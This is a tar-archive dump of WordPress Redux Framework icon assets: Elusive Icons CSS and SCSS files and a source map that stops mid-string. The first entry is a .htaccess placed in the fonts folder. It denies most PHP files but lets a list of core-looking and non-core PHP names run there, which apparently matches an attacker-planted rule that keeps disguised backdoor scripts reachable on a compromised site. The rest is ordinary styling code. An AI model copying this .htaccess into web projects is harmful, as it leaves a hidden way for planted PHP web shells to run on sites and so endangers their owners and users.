*�D�����������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/fonts/.htaccess�������������������������������������0000644�����������������00000001626�14720701300�0020770 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/elusive-icons.scss����������������������������������0000644�����������������00000061251�14720701300�0021523 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * Elusive Icons 2.0.0 by @ReduxFramework - http://elusiveicons.com - @reduxframework * License - http://elusiveicons.com/license (Font: SIL OFL 1.1, CSS: MIT License) */ @font-face { font-family: 'Elusive-Icons'; src: url("fonts/elusiveicons-webfont.eot?v=2.0.0"); src: url("fonts/elusiveicons-webfont.eot?#iefix&v=2.0.0") format("embedded-opentype"), url("fonts/elusiveicons-webfont.woff?v=2.0.0") format("woff"), url("fonts/elusiveicons-webfont.ttf?v=2.0.0") format("truetype"), url("fonts/elusiveicons-webfont.svg?v=2.0.0#elusiveiconsregular") format("svg"); font-weight: normal; font-style: normal } .el { display: inline-block; font: normal normal normal 14px/1 "Elusive-Icons"; font-size: inherit; text-rendering: auto; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; transform: translate(0, 0) } .el-lg { font-size: 1.33333em; line-height: 0.75em; vertical-align: -15% } .el-2x { font-size: 2em } .el-3x { font-size: 3em } .el-4x { font-size: 4em } .el-5x { font-size: 5em } .el-fw { width: 1.28571em; text-align: center } .el-ul { padding-left: 0; margin-left: 2.14286em; list-style-type: none } .el-ul > li { position: relative } .el-li { position: absolute; left: -2.14286em; width: 2.14286em; top: 0.14286em; text-align: center } .el-li.el-lg { left: -1.85714em } .el-border { padding: .2em .25em .15em; border: solid 0.08em #eee; border-radius: .1em } .pull-right { float: right } .pull-left { float: left } .el.pull-left { margin-right: .3em } .el.pull-right { margin-left: .3em } .el-spin { -webkit-animation: el-spin 2s infinite linear; animation: el-spin 2s infinite linear } .el-pulse { -webkit-animation: el-spin 1s infinite steps(8); animation: el-spin 1s infinite steps(8) } @-webkit-keyframes el-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg) } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg) } } @keyframes el-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg) } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg) } } .el-rotate-90 { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1); -webkit-transform: rotate(90deg); -ms-transform: rotate(90deg); transform: rotate(90deg) } .el-rotate-180 { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2); -webkit-transform: rotate(180deg); -ms-transform: rotate(180deg); transform: rotate(180deg) } .el-rotate-270 { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3); -webkit-transform: rotate(270deg); -ms-transform: rotate(270deg); transform: rotate(270deg) } .el-flip-horizontal { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=0); -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1) } .el-flip-vertical { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2); -webkit-transform: scale(1, -1); -ms-transform: scale(1, -1); transform: scale(1, -1) } :root .el-rotate-90, :root .el-rotate-180, :root .el-rotate-270, :root .el-flip-horizontal, :root .el-flip-vertical { filter: none } .el-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle } .el-stack-1x, .el-stack-2x { position: absolute; left: 0; width: 100%; text-align: center } .el-stack-1x { line-height: inherit } .el-stack-2x { font-size: 2em } .el-inverse { color: #fff } .el-icon-address-book-alt:before, .el-address-book-alt:before { content: "" } .el-icon-address-book:before, .el-address-book:before { content: "" } .el-icon-adjust-alt:before, .el-adjust-alt:before { content: "" } .el-icon-adjust:before, .el-adjust:before { content: "" } .el-icon-adult:before, .el-adult:before { content: "" } .el-icon-align-center:before, .el-align-center:before { content: "" } .el-icon-align-justify:before, .el-align-justify:before { content: "" } .el-icon-align-left:before, .el-align-left:before { content: "" } .el-icon-align-right:before, .el-align-right:before { content: "" } .el-icon-arrow-down:before, .el-arrow-down:before { content: "" } .el-icon-arrow-left:before, .el-arrow-left:before { content: "" } .el-icon-arrow-right:before, .el-arrow-right:before { content: "" } .el-icon-arrow-up:before, .el-arrow-up:before { content: "" } .el-icon-asl:before, .el-asl:before { content: "" } .el-icon-asterisk:before, .el-asterisk:before { content: "" } .el-icon-backward:before, .el-backward:before { content: "" } .el-icon-ban-circle:before, .el-ban-circle:before { content: "" } .el-icon-barcode:before, .el-barcode:before { content: "" } .el-icon-behance:before, .el-behance:before { content: "" } .el-icon-bell:before, .el-bell:before { content: "" } .el-icon-blind:before, .el-blind:before { content: "" } .el-icon-blogger:before, .el-blogger:before { content: "" } .el-icon-bold:before, .el-bold:before { content: "" } .el-icon-book:before, .el-book:before { content: "" } .el-icon-bookmark-empty:before, .el-bookmark-empty:before { content: "" } .el-icon-bookmark:before, .el-bookmark:before { content: "" } .el-icon-brackets:before, .el-brackets:before { content: "" } .el-icon-braille:before, .el-braille:before { content: "" } .el-icon-briefcase:before, .el-briefcase:before { content: "" } .el-icon-broom:before, .el-broom:before { content: "" } .el-icon-brush:before, .el-brush:before { content: "" } .el-icon-bulb:before, .el-bulb:before { content: "" } .el-icon-bullhorn:before, .el-bullhorn:before { content: "" } .el-icon-calendar-sign:before, .el-calendar-sign:before { content: "" } .el-icon-calendar:before, .el-calendar:before { content: "" } .el-icon-camera:before, .el-camera:before { content: "" } .el-icon-car:before, .el-car:before { content: "" } .el-icon-caret-down:before, .el-caret-down:before { content: "" } .el-icon-caret-left:before, .el-caret-left:before { content: "" } .el-icon-caret-right:before, .el-caret-right:before { content: "" } .el-icon-caret-up:before, .el-caret-up:before { content: "" } .el-icon-cc:before, .el-cc:before { content: "" } .el-icon-certificate:before, .el-certificate:before { content: "" } .el-icon-check-empty:before, .el-check-empty:before { content: "" } .el-icon-check:before, .el-check:before { content: "" } .el-icon-chevron-down:before, .el-chevron-down:before { content: "" } .el-icon-chevron-left:before, .el-chevron-left:before { content: "" } .el-icon-chevron-right:before, .el-chevron-right:before { content: "" } .el-icon-chevron-up:before, .el-chevron-up:before { content: "" } .el-icon-child:before, .el-child:before { content: "" } .el-icon-circle-arrow-down:before, .el-circle-arrow-down:before { content: "" } .el-icon-circle-arrow-left:before, .el-circle-arrow-left:before { content: "" } .el-icon-circle-arrow-right:before, .el-circle-arrow-right:before { content: "" } .el-icon-circle-arrow-up:before, .el-circle-arrow-up:before { content: "" } .el-icon-cloud-alt:before, .el-cloud-alt:before { content: "" } .el-icon-cloud:before, .el-cloud:before { content: "" } .el-icon-cog-alt:before, .el-cog-alt:before { content: "" } .el-icon-cog:before, .el-cog:before { content: "" } .el-icon-cogs:before, .el-cogs:before { content: "" } .el-icon-comment-alt:before, .el-comment-alt:before { content: "" } .el-icon-comment:before, .el-comment:before { content: "" } .el-icon-compass-alt:before, .el-compass-alt:before { content: "" } .el-icon-compass:before, .el-compass:before { content: "" } .el-icon-credit-card:before, .el-credit-card:before { content: "" } .el-icon-css:before, .el-css:before { content: "" } .el-icon-dashboard:before, .el-dashboard:before { content: "" } .el-icon-delicious:before, .el-delicious:before { content: "" } .el-icon-deviantart:before, .el-deviantart:before { content: "" } .el-icon-digg:before, .el-digg:before { content: "" } .el-icon-download-alt:before, .el-download-alt:before { content: "" } .el-icon-download:before, .el-download:before { content: "" } .el-icon-dribbble:before, .el-dribbble:before { content: "" } .el-icon-edit:before, .el-edit:before { content: "" } .el-icon-eject:before, .el-eject:before { content: "" } .el-icon-envelope-alt:before, .el-envelope-alt:before { content: "" } .el-icon-envelope:before, .el-envelope:before { content: "" } .el-icon-error-alt:before, .el-error-alt:before { content: "" } .el-icon-error:before, .el-error:before { content: "" } .el-icon-eur:before, .el-eur:before { content: "" } .el-icon-exclamation-sign:before, .el-exclamation-sign:before { content: "" } .el-icon-eye-close:before, .el-eye-close:before { content: "" } .el-icon-eye-open:before, .el-eye-open:before { content: "" } .el-icon-facebook:before, .el-facebook:before { content: "" } .el-icon-facetime-video:before, .el-facetime-video:before { content: "" } .el-icon-fast-backward:before, .el-fast-backward:before { content: "" } .el-icon-fast-forward:before, .el-fast-forward:before { content: "" } .el-icon-female:before, .el-female:before { content: "" } .el-icon-file-alt:before, .el-file-alt:before { content: "" } .el-icon-file-edit-alt:before, .el-file-edit-alt:before { content: "" } .el-icon-file-edit:before, .el-file-edit:before { content: "" } .el-icon-file-new-alt:before, .el-file-new-alt:before { content: "" } .el-icon-file-new:before, .el-file-new:before { content: "" } .el-icon-file:before, .el-file:before { content: "" } .el-icon-film:before, .el-film:before { content: "" } .el-icon-filter:before, .el-filter:before { content: "" } .el-icon-fire:before, .el-fire:before { content: "" } .el-icon-flag-alt:before, .el-flag-alt:before { content: "" } .el-icon-flag:before, .el-flag:before { content: "" } .el-icon-flickr:before, .el-flickr:before { content: "" } .el-icon-folder-close:before, .el-folder-close:before { content: "" } .el-icon-folder-open:before, .el-folder-open:before { content: "" } .el-icon-folder-sign:before, .el-folder-sign:before { content: "" } .el-icon-folder:before, .el-folder:before { content: "" } .el-icon-font:before, .el-font:before { content: "" } .el-icon-fontsize:before, .el-fontsize:before { content: "" } .el-icon-fork:before, .el-fork:before { content: "" } .el-icon-forward-alt:before, .el-forward-alt:before { content: "" } .el-icon-forward:before, .el-forward:before { content: "" } .el-icon-foursquare:before, .el-foursquare:before { content: "" } .el-icon-friendfeed-rect:before, .el-friendfeed-rect:before { content: "" } .el-icon-friendfeed:before, .el-friendfeed:before { content: "" } .el-icon-fullscreen:before, .el-fullscreen:before { content: "" } .el-icon-gallery:before, .el-gallery:before { content: "" } .el-icon-gbp:before, .el-gbp:before { content: "" } .el-icon-gift:before, .el-gift:before { content: "" } .el-icon-github-text:before, .el-github-text:before { content: "" } .el-icon-github:before, .el-github:before { content: "" } .el-icon-glass:before, .el-glass:before { content: "" } .el-icon-glasses:before, .el-glasses:before { content: "" } .el-icon-globe-alt:before, .el-globe-alt:before { content: "" } .el-icon-globe:before, .el-globe:before { content: "" } .el-icon-googleplus:before, .el-googleplus:before { content: "" } .el-icon-graph-alt:before, .el-graph-alt:before { content: "" } .el-icon-graph:before, .el-graph:before { content: "" } .el-icon-group-alt:before, .el-group-alt:before { content: "" } .el-icon-group:before, .el-group:before { content: "" } .el-icon-guidedog:before, .el-guidedog:before { content: "" } .el-icon-hand-down:before, .el-hand-down:before { content: "" } .el-icon-hand-left:before, .el-hand-left:before { content: "" } .el-icon-hand-right:before, .el-hand-right:before { content: "" } .el-icon-hand-up:before, .el-hand-up:before { content: "" } .el-icon-hdd:before, .el-hdd:before { content: "" } .el-icon-headphones:before, .el-headphones:before { content: "" } .el-icon-hearing-impaired:before, .el-hearing-impaired:before { content: "" } .el-icon-heart-alt:before, .el-heart-alt:before { content: "" } .el-icon-heart-empty:before, .el-heart-empty:before { content: "" } .el-icon-heart:before, .el-heart:before { content: "" } .el-icon-home-alt:before, .el-home-alt:before { content: "" } .el-icon-home:before, .el-home:before { content: "" } .el-icon-hourglass:before, .el-hourglass:before { content: "" } .el-icon-idea-alt:before, .el-idea-alt:before { content: "" } .el-icon-idea:before, .el-idea:before { content: "" } .el-icon-inbox-alt:before, .el-inbox-alt:before { content: "" } .el-icon-inbox-box:before, .el-inbox-box:before { content: "" } .el-icon-inbox:before, .el-inbox:before { content: "" } .el-icon-indent-left:before, .el-indent-left:before { content: "" } .el-icon-indent-right:before, .el-indent-right:before { content: "" } .el-icon-info-circle:before, .el-info-circle:before { content: "" } .el-icon-instagram:before, .el-instagram:before { content: "" } .el-icon-iphone-home:before, .el-iphone-home:before { content: "" } .el-icon-italic:before, .el-italic:before { content: "" } .el-icon-key:before, .el-key:before { content: "" } .el-icon-laptop-alt:before, .el-laptop-alt:before { content: "" } .el-icon-laptop:before, .el-laptop:before { content: "" } .el-icon-lastfm:before, .el-lastfm:before { content: "" } .el-icon-leaf:before, .el-leaf:before { content: "" } .el-icon-lines:before, .el-lines:before { content: "" } .el-icon-link:before, .el-link:before { content: "" } .el-icon-linkedin:before, .el-linkedin:before { content: "" } .el-icon-list-alt:before, .el-list-alt:before { content: "" } .el-icon-list:before, .el-list:before { content: "" } .el-icon-livejournal:before, .el-livejournal:before { content: "" } .el-icon-lock-alt:before, .el-lock-alt:before { content: "" } .el-icon-lock:before, .el-lock:before { content: "" } .el-icon-magic:before, .el-magic:before { content: "" } .el-icon-magnet:before, .el-magnet:before { content: "" } .el-icon-male:before, .el-male:before { content: "" } .el-icon-map-marker-alt:before, .el-map-marker-alt:before { content: "" } .el-icon-map-marker:before, .el-map-marker:before { content: "" } .el-icon-mic-alt:before, .el-mic-alt:before { content: "" } .el-icon-mic:before, .el-mic:before { content: "" } .el-icon-minus-sign:before, .el-minus-sign:before { content: "" } .el-icon-minus:before, .el-minus:before { content: "" } .el-icon-move:before, .el-move:before { content: "" } .el-icon-music:before, .el-music:before { content: "" } .el-icon-myspace:before, .el-myspace:before { content: "" } .el-icon-network:before, .el-network:before { content: "" } .el-icon-off:before, .el-off:before { content: "" } .el-icon-ok-circle:before, .el-ok-circle:before { content: "" } .el-icon-ok-sign:before, .el-ok-sign:before { content: "" } .el-icon-ok:before, .el-ok:before { content: "" } .el-icon-opensource:before, .el-opensource:before { content: "" } .el-icon-paper-clip-alt:before, .el-paper-clip-alt:before { content: "" } .el-icon-paper-clip:before, .el-paper-clip:before { content: "" } .el-icon-path:before, .el-path:before { content: "" } .el-icon-pause-alt:before, .el-pause-alt:before { content: "" } .el-icon-pause:before, .el-pause:before { content: "" } .el-icon-pencil-alt:before, .el-pencil-alt:before { content: "" } .el-icon-pencil:before, .el-pencil:before { content: "" } .el-icon-person:before, .el-person:before { content: "" } .el-icon-phone-alt:before, .el-phone-alt:before { content: "" } .el-icon-phone:before, .el-phone:before { content: "" } .el-icon-photo-alt:before, .el-photo-alt:before { content: "" } .el-icon-photo:before, .el-photo:before { content: "" } .el-icon-picasa:before, .el-picasa:before { content: "" } .el-icon-picture:before, .el-picture:before { content: "" } .el-icon-plane:before, .el-plane:before { content: "" } .el-icon-play-alt:before, .el-play-alt:before { content: "" } .el-icon-play-circle:before, .el-play-circle:before { content: "" } .el-icon-play:before, .el-play:before { content: "" } .el-icon-plurk-alt:before, .el-plurk-alt:before { content: "" } .el-icon-plurk:before, .el-plurk:before { content: "" } .el-icon-plus-sign:before, .el-plus-sign:before { content: "" } .el-icon-plus:before, .el-plus:before { content: "" } .el-icon-podcast:before, .el-podcast:before { content: "" } .el-icon-print:before, .el-print:before { content: "" } .el-icon-puzzle:before, .el-puzzle:before { content: "" } .el-icon-qrcode:before, .el-qrcode:before { content: "" } .el-icon-question-sign:before, .el-question-sign:before { content: "" } .el-icon-question:before, .el-question:before { content: "" } .el-icon-quote-alt:before, .el-quote-alt:before { content: "" } .el-icon-quote-right-alt:before, .el-quote-right-alt:before { content: "" } .el-icon-quote-right:before, .el-quote-right:before { content: "" } .el-icon-quotes:before, .el-quotes:before { content: "" } .el-icon-random:before, .el-random:before { content: "" } .el-icon-record:before, .el-record:before { content: "" } .el-icon-reddit:before, .el-reddit:before { content: "" } .el-icon-redux:before, .el-redux:before { content: "" } .el-icon-refresh:before, .el-refresh:before { content: "" } .el-icon-remove-circle:before, .el-remove-circle:before { content: "" } .el-icon-remove-sign:before, .el-remove-sign:before { content: "" } .el-icon-remove:before, .el-remove:before { content: "" } .el-icon-repeat-alt:before, .el-repeat-alt:before { content: "" } .el-icon-repeat:before, .el-repeat:before { content: "" } .el-icon-resize-full:before, .el-resize-full:before { content: "" } .el-icon-resize-horizontal:before, .el-resize-horizontal:before { content: "" } .el-icon-resize-small:before, .el-resize-small:before { content: "" } .el-icon-resize-vertical:before, .el-resize-vertical:before { content: "" } .el-icon-return-key:before, .el-return-key:before { content: "" } .el-icon-retweet:before, .el-retweet:before { content: "" } .el-icon-reverse-alt:before, .el-reverse-alt:before { content: "" } .el-icon-road:before, .el-road:before { content: "" } .el-icon-rss:before, .el-rss:before { content: "" } .el-icon-scissors:before, .el-scissors:before { content: "" } .el-icon-screen-alt:before, .el-screen-alt:before { content: "" } .el-icon-screen:before, .el-screen:before { content: "" } .el-icon-screenshot:before, .el-screenshot:before { content: "" } .el-icon-search-alt:before, .el-search-alt:before { content: "" } .el-icon-search:before, .el-search:before { content: "" } .el-icon-share-alt:before, .el-share-alt:before { content: "" } .el-icon-share:before, .el-share:before { content: "" } .el-icon-shopping-cart-sign:before, .el-shopping-cart-sign:before { content: "" } .el-icon-shopping-cart:before, .el-shopping-cart:before { content: "" } .el-icon-shortcode:before, .el-shortcode:before { content: "" } .el-icon-signal:before, .el-signal:before { content: "" } .el-icon-skype:before, .el-skype:before { content: "" } .el-icon-slideshare:before, .el-slideshare:before { content: "" } .el-icon-smiley-alt:before, .el-smiley-alt:before { content: "" } .el-icon-smiley:before, .el-smiley:before { content: "" } .el-icon-soundcloud:before, .el-soundcloud:before { content: "" } .el-icon-speaker:before, .el-speaker:before { content: "" } .el-icon-spotify:before, .el-spotify:before { content: "" } .el-icon-stackoverflow:before, .el-stackoverflow:before { content: "" } .el-icon-star-alt:before, .el-star-alt:before { content: "" } .el-icon-star-empty:before, .el-star-empty:before { content: "" } .el-icon-star:before, .el-star:before { content: "" } .el-icon-step-backward:before, .el-step-backward:before { content: "" } .el-icon-step-forward:before, .el-step-forward:before { content: "" } .el-icon-stop-alt:before, .el-stop-alt:before { content: "" } .el-icon-stop:before, .el-stop:before { content: "" } .el-icon-stumbleupon:before, .el-stumbleupon:before { content: "" } .el-icon-tag:before, .el-tag:before { content: "" } .el-icon-tags:before, .el-tags:before { content: "" } .el-icon-tasks:before, .el-tasks:before { content: "" } .el-icon-text-height:before, .el-text-height:before { content: "" } .el-icon-text-width:before, .el-text-width:before { content: "" } .el-icon-th-large:before, .el-th-large:before { content: "" } .el-icon-th-list:before, .el-th-list:before { content: "" } .el-icon-th:before, .el-th:before { content: "" } .el-icon-thumbs-down:before, .el-thumbs-down:before { content: "" } .el-icon-thumbs-up:before, .el-thumbs-up:before { content: "" } .el-icon-time-alt:before, .el-time-alt:before { content: "" } .el-icon-time:before, .el-time:before { content: "" } .el-icon-tint:before, .el-tint:before { content: "" } .el-icon-torso:before, .el-torso:before { content: "" } .el-icon-trash-alt:before, .el-trash-alt:before { content: "" } .el-icon-trash:before, .el-trash:before { content: "" } .el-icon-tumblr:before, .el-tumblr:before { content: "" } .el-icon-twitter:before, .el-twitter:before { content: "" } .el-icon-universal-access:before, .el-universal-access:before { content: "" } .el-icon-unlock-alt:before, .el-unlock-alt:before { content: "" } .el-icon-unlock:before, .el-unlock:before { content: "" } .el-icon-upload:before, .el-upload:before { content: "" } .el-icon-usd:before, .el-usd:before { content: "" } .el-icon-user:before, .el-user:before { content: "" } .el-icon-viadeo:before, .el-viadeo:before { content: "" } .el-icon-video-alt:before, .el-video-alt:before { content: "" } .el-icon-video-chat:before, .el-video-chat:before { content: "" } .el-icon-video:before, .el-video:before { content: "" } .el-icon-view-mode:before, .el-view-mode:before { content: "" } .el-icon-vimeo:before, .el-vimeo:before { content: "" } .el-icon-vkontakte:before, .el-vkontakte:before { content: "" } .el-icon-volume-down:before, .el-volume-down:before { content: "" } .el-icon-volume-off:before, .el-volume-off:before { content: "" } .el-icon-volume-up:before, .el-volume-up:before { content: "" } .el-icon-w3c:before, .el-w3c:before { content: "" } .el-icon-warning-sign:before, .el-warning-sign:before { content: "" } .el-icon-website-alt:before, .el-website-alt:before { content: "" } .el-icon-website:before, .el-website:before { content: "" } .el-icon-wheelchair:before, .el-wheelchair:before { content: "" } .el-icon-wordpress:before, .el-wordpress:before { content: "" } .el-icon-wrench-alt:before, .el-wrench-alt:before { content: "" } .el-icon-wrench:before, .el-wrench:before { content: "" } .el-icon-youtube:before, .el-youtube:before { content: "" } .el-icon-zoom-in:before, .el-zoom-in:before { content: "" } .el-icon-zoom-out:before, .el-zoom-out:before { content: "" } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_rotated-flipped.scss��������������������������0000644�����������������00000001240�14720701300�0023123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Rotated & Flipped Icons // ------------------------- .#{$el-css-prefix}-rotate-90 { @include el-icon-rotate(90deg, 1); } .#{$el-css-prefix}-rotate-180 { @include el-icon-rotate(180deg, 2); } .#{$el-css-prefix}-rotate-270 { @include el-icon-rotate(270deg, 3); } .#{$el-css-prefix}-flip-horizontal { @include el-icon-flip(-1, 1, 0); } .#{$el-css-prefix}-flip-vertical { @include el-icon-flip(1, -1, 2); } // Hook for IE8-9 // ------------------------- :root .#{$el-css-prefix}-rotate-90, :root .#{$el-css-prefix}-rotate-180, :root .#{$el-css-prefix}-rotate-270, :root .#{$el-css-prefix}-flip-horizontal, :root .#{$el-css-prefix}-flip-vertical { filter: none; } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_animated.scss���������������������������������0000644�����������������00000001313�14720701300�0021623 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Spinning Icons // -------------------------- .#{$el-css-prefix}-spin { -webkit-animation: el-spin 2s infinite linear; animation: el-spin 2s infinite linear; } .#{$el-css-prefix}-pulse { -webkit-animation: el-spin 1s infinite steps(8); animation: el-spin 1s infinite steps(8); } @-webkit-keyframes el-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } @keyframes el-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/elusive-icons.scss�����������������������������0000644�����������������00000000642�14720701300�0022473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * Elusive Icons 2.0.0 by @ReduxFramework - http://elusiveicons.com - @reduxframework * License - http://elusiveicons.com/license (Font: SIL OFL 1.1, CSS: MIT License) */ @import "variables"; @import "mixins"; @import "path"; @import "core"; @import "larger"; @import "fixed-width"; @import "list"; @import "bordered-pulled"; @import "animated"; @import "rotated-flipped"; @import "stacked"; @import "icons"; ����������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/_larger.scss�����������������������������������0000644�����������������00000000567�14720701300�0021327 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Icon Sizes // ------------------------- /* makes the font 33% larger relative to the icon container */ .#{$el-css-prefix}-lg { font-size: (4em / 3); line-height: (3em / 4); vertical-align: -15%; } .#{$el-css-prefix}-2x { font-size: 2em; } .#{$el-css-prefix}-3x { font-size: 3em; } .#{$el-css-prefix}-4x { font-size: 4em; } .#{$el-css-prefix}-5x { font-size: 5em; } �����������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/scss/elusive-icons.css.map��������������������������0000644�����������������00000033035�14720701300�0023066 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "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